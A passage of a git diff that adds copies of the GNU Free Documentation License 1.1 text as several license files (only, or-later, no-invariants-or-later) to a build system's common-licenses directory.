+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-no-invariants-or-later b/meta/files/common-licenses/GFDL-1.1-no-invariants-or-later
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-no-invariants-or-later
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-only b/meta/files/common-licenses/GFDL-1.1-only
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-only
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-or-later b/meta/files/common-licenses/GFDL-1.1-or-later
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-or-later
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
